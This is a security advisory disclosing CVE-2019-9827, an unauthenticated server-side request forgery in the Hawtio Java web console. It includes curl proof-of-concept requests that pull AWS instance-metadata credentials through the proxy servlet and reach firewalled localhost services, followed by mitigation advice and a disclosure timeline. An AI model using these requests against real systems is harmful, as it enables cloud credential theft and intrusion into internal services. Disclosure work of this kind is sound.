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CipherTechs Inc - Security Advisory  
  
Hawtio Server-Side Request Forgery  
  
  
Introduction  
============  
Hawtio (https://hawt.io/) is a modular web console for managing Java.  
CipherTechs discovered that Hawtio up to and including version 2.5.0  
is vulnerable to unauthenticated Server-Side Request Forgery (SSRF).  
  
  
CVE  
===  
CVE-2019-9827  
  
  
Affected Platforms and Versions  
===============================  
Product: Hawtio  
Version: <= 2.5.0  
  
  
Vulnerability Overview  
======================  
Security risk: Medium  
Attack Vector: Remote  
Vendor Status: Notified  
  
  
Vulnerability Description  
=========================  
Hawtio by default allows for any unauthenticated user to visit the proxy servlet page (/hawtio/proxy/).   
Appending a destination server onto /proxy/ will forward the request from  
the Hawtio server. This can be especially dangerous in AWS environments as  
it's possible to request instance Metadata and retrieve sensitive information including access keys.  
This vulnerability is also dangerous as it could expose internal   
applications which allow connections from the Hawtio server's IP address.  
  
  
Technical Details  
=================  
By default, versions >= 1.5.0 have a whitelist which only allow connections to 127.0.0.1.  
Although the default whitelist settings prevent an attacker from making a  
request to any servers outside of the localhost - an attacker could still  
request any internal service on the local Hawtio host.  
  
For any Hawtio versions < 1.5.0 an unauthenticated can use the proxy servlet to make a request to any server.  
  
Hawtio <= 1.4.68 - Obtaining AWS Access Keys via SSRF  
-----------------------------------------------------  
  
$ curl -i http://hawtio-target:8080/hawtio/proxy/http://169.254.169.254/latest  
/meta-data/identity-credentials  
/ec2/security-credentials/ec2-instance  
HTTP/1.1 200 OK  
X-Frame-Options: SAMEORIGIN  
X-XSS-Protection: 1  
Access-Control-Allow-Origin: *  
Content-Type: text/plain  
Accept-Ranges: bytes  
ETag: "3876041485"  
Last-Modified: Thu, 21 Mar 2019 19:36:06 GMT  
Content-Length: 1318  
Date: Thu, 21 Mar 2019 19:58:45 GMT  
Server: EC2ws  
  
{  
"Code" : "Success",  
"LastUpdated" : "2019-03-21T19:35:50Z",  
"Type" : "AWS-HMAC",  
"AccessKeyId" : "[REDACTED]",  
"SecretAccessKey" : "[REDACTED]",  
"Token" : "[REDACTED]",  
"Expiration" : "2019-03-22T01:38:33Z"  
  
As shown above using the proxy servlet allows any user to obtain AWS metadata information.  
  
Hawtio 2.5.0  
------------  
  
$ curl -i http://hawtio-target:8080/hawtio/proxy/http://169.254.169.254/latest  
/meta-data/identity-credentials  
/ec2/security-credentials/ec2-instance  
HTTP/1.1 403 Forbidden  
Date: Thu, 21 Mar 2019 20:06:16 GMT  
Cache-Control: max-age=0, no-cache, must-revalidate,   
proxy-revalidate, private  
Pragma: no-cache  
Access-Control-Allow-Origin: *  
X-Frame-Options: SAMEORIGIN  
X-XSS-Protection: 1  
X-Content-Type-Options: nosniff  
Content-Security-Policy: default-src 'self'; script-src 'self'  
'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';  
font-src 'self' data:; connect-src 'self'; frame-src 'self'  
Content-Type: application/json  
Content-Length: 29  
Server: Jetty(9.4.z-SNAPSHOT)  
  
{"reason":"HOST_NOT_ALLOWED"}  
  
That said, an attacker could still access arbitrary internal services and bypass ingress traffic rules on Hawtio 2.5.0.   
A demonstration can be found below.  
  
hawtio$ sudo ufw status numbered  
Status: active  
  
To Action From  
-- ------ ----  
[ 1] 8080 ALLOW IN Anywhere  
[ 2] 127.0.0.1 80/tcp ALLOW IN 127.0.0.1  
[ 3] 22/tcp ALLOW IN Anywhere  
  
$ curl -i http://hawtio-target/test.txt  
curl: (7) Failed to connect to hawtio-target port 80:   
Connection refused  
  
$ curl -i http://hawtio-target:8080/hawtio/proxy/http://127.0.0.1/test.txt  
HTTP/1.1 200 OK  
Date: Thu, 21 Mar 2019 20:18:34 GMT  
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, private  
Pragma: no-cache  
Access-Control-Allow-Origin: *  
X-Frame-Options: SAMEORIGIN  
X-XSS-Protection: 1  
X-Content-Type-Options: nosniff  
Content-Security-Policy: default-src 'self'; script-src 'self'  
'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';  
font-src 'self' data:; connect-src 'self'; frame-src 'self'  
Server: SimpleHTTP/0.6 Python/2.7.13  
Date: Thu, 21 Mar 2019 20:18:34 GMT  
Content-Type: text/plain  
Last-Modified: Thu, 21 Mar 2019 20:07:34 GMT  
Content-Length: 11  
  
Secrets...  
  
Recommendations  
===============  
Upgrade to at Hawtio >=-1.5.0 to prevent SSRF from accessing arbitrary URLs. Services listening on localhost can still  
be accessed through SSRF exploitation in versions > 1.5.0 so CipherTechs recommends disabling the proxy servlet  
entirely. CipherTechs did not exhaustively test Hawtio so it is still not recommended to expose this developer tool on   
the Internet.   
  
In terms of protecting AWS data, a daemon developed by Netflix-Skunkworks can be implemented to block   
all connections to AWS metadata (169.254.169.254). Only a designated user who runs the proxy daemon can access the   
metadata service. CipherTechs published a blog post to  
implement this solution here: https://www.ciphertechs.com/protecting-aws-metadata-from-zero-day-ssrf-attacks/  
  
Timeline  
========  
2019.02.25 - Vulnerability Discovered by CipherTechs  
2019.03.27 - Redhat Notified  
2019.06.27 - 90 day disclosure date  
  
  
The contents of this advisory are Copyright(c) 2019 CipherTechs Inc.  
  
=====================================================================================   
  
About CipherTechs CipherTechs is a global Cyber Security service provider  
founded in 2001 that remains privately held with headquarters in New York  
City. CipherTechs is exclusively focused on cyber security and provide a  
full service solution portfolio. We service our customers through the  
following main practice areas: Offensive Security, Defensive Security,  
MSSP and SOC, Audit and Compliance, Training and Product Procurement.